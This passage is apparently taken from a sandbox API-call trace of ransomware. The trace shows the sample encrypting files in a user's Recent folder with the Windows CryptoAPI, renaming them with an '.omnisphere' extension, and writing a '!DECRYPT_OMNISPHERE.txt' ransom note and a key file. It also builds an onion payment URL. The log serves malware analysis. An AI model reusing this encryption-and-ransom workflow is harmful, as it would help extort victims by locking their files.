hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.792] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.793] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.793] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.793] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x345, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.793] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.793] GetProcessHeap () returned 0x1600000 [0119.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16be568 [0119.794] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dfw90w0ozbqlw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dfw90w0ozbqlw.lnk.omnisphere")) returned 1 [0119.794] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk.omnisphere.id" [0119.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dfw90w0ozbqlw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.796] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.797] CloseHandle (hObject=0x3c0) returned 1 [0119.798] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.798] CloseHandle (hObject=0x288) returned 1 [0119.798] SetEndOfFile (hFile=0x28c) returned 1 [0119.798] FlushFileBuffers (hFile=0x28c) returned 1 [0119.811] CloseHandle (hObject=0x28c) returned 1 [0119.811] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dFw90W0ozbqlw.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.811] GetProcessHeap () returned 0x1600000 [0119.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be828 [0119.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.811] GetProcessHeap () returned 0x1600000 [0119.811] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1d98 [0119.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1d98, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.811] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.812] GetProcessHeap () returned 0x1600000 [0119.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afd48 [0119.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afd48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.812] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.812] GetProcessHeap () returned 0x1600000 [0119.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2ff8 [0119.812] PathCombineW (in: pszDest=0x16a2ff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.812] GetProcessHeap () returned 0x1600000 [0119.812] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b9c28 [0119.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.813] WriteFile (in: hFile=0x28c, lpBuffer=0x16b9c28*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b9c28*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.813] CloseHandle (hObject=0x28c) returned 1 [0119.813] GetProcessHeap () returned 0x1600000 [0119.813] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be828 | out: hHeap=0x1600000) returned 1 [0119.813] GetProcessHeap () returned 0x1600000 [0119.813] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e158 [0119.813] PathCombineW (in: pszDest=0x162e158, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.813] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.814] CloseHandle (hObject=0x28c) returned 1 [0119.814] GetProcessHeap () returned 0x1600000 [0119.814] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e158 | out: hHeap=0x1600000) returned 1 [0119.814] GetProcessHeap () returned 0x1600000 [0119.814] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.814] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2225a617, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2225a617, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2225a617, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0xd3, cFileName="dh -Ph0jPP6Vz0.lnk", cAlternateFileName="DH-PH0~1.LNK")) returned 1 [0119.814] GetProcessHeap () returned 0x1600000 [0119.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.814] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="dh -Ph0jPP6Vz0.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk" [0119.814] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dh -Ph0jPP6Vz0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\dh -ph0jpp6vz0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.815] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=668) returned 1 [0119.815] GetTickCount () returned 0x115df02 [0119.815] GetTickCount () returned 0x115df02 [0119.815] GetTickCount () returned 0x115df02 [0119.815] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.817] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] GetTickCount () returned 0x115df02 [0119.818] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.820] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0119.820] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.821] CryptDestroyKey (hKey=0x1639868) returned 1 [0119.821] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.821] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29c, lpName=0x0) returned 0x288 [0119.821] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29c) returned 0x1480000 [0119.821] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16689b0) returned 1 [0119.822] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0119.822] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.824] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.824] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.825] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.926] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 